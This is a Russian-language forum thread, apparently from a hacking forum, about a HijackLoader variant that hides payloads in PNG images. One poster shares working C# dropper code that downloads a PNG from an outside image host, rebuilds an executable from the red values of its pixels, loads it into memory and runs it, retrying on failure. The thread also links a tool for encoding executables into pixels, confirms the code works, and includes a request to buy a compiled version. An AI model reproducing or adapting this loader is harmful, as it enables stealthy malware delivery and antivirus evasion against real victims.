Обновлённый HijackLoader использует PNG-картинки для обхода антивирусов

[CrystalC0de]

Обновлённый HijackLoader использует PNG-картинки для обхода антивирусов — Exploit.IN

exploit.in

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace Drop
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            StartImageLoader();
        }

        public void StartImageLoader(string class2 = "https://i.ibb.co/KVcpbw5/loader.png")
        {
            ThreadPool.QueueUserWorkItem(ListViewImage, class2);
        }

        private void ListViewImage(object state)
        {
            try
            {
                ServicePointManager.Expect100Continue = true;
                ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
                ServicePointManager.DefaultConnectionLimit = 9999;
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }

            string class2 = (string)state;

Retry:
            try
            {
                using (WebClient web = new WebClient())
                {
                    List<byte> list = new List<byte>();
                    using (Bitmap B = (Bitmap)Image.FromStream(web.OpenRead(class2)))
                    {
                        for (int i = 0; i < B.Width; i++)
                        {
                            list.Add(B.GetPixel(i, 0).R);
                        }
                    }
                    Assembly.Load(list.ToArray()).EntryPoint.Invoke(null, null);
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Thread.Sleep(5000);
                goto Retry;
            }
        }
    }
}

ехе в картинку:

GitHub - noradlb1/Exe-To-Red-Pixels: Exe To Red Pixels

Exe To Red Pixels. Contribute to noradlb1/Exe-To-Red-Pixels development by creating an account on GitHub.

github.com

Простой пример, не более
Это не код, который использовал разраб лоадера

 

[ninjab0x]

its working ?

 

[CrystalC0de]

its working ?

yes

 

[v1ct0ry]

wish to throw some coins to get a compiled ready to use soft